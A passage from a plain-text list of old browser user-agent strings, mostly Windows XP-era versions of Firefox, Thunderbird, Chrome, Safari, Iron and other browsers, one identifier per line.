(ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.7.5) Gecko/20050610 Netscape/8.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-CA; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/523.15 (KHTML, like Gecko)  QtWeb Internet Browser/1.2 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.96\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.14) Gecko/20071210 Thunderbird/1.5.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1) Gecko/2007051502 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.1) Gecko/20061230 BonEcho/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Paros/3.2.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070728 Thunderbird/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9) Gecko/2008052906 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.5) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913  Firefox\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.16;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.9) Gecko/20100317 Lightning/1.0b1 Thunderbird/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.8) Gecko/20100722 AskTbFXTV5/3.8.0.12304 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-NZ; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-NZ; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko)  QtWeb Internet Browser/1.2 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.3 (Change: 287 c9dfb30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/523.6.1+ (KHTML, like Gecko) Version/3.0 Safari/523.6.1+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525+ (KHTML, like Gecko) Version/3.1.1 Safari/525.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13.\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Fluid/0.9.4 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12079480.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12207312.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12272384.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12279816.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12282560.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12285712.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12475112.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12535056.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12542120.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12595016.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/12733120.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/13543896.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/28768176.525\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/525.28.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.2 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.5 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.7 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/2.0 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/3.0 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3)  Arora/0.6 (Change:  )\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528+\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.0.2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/13506912.528\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Iron/2.0.168.0 Safari/530.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) 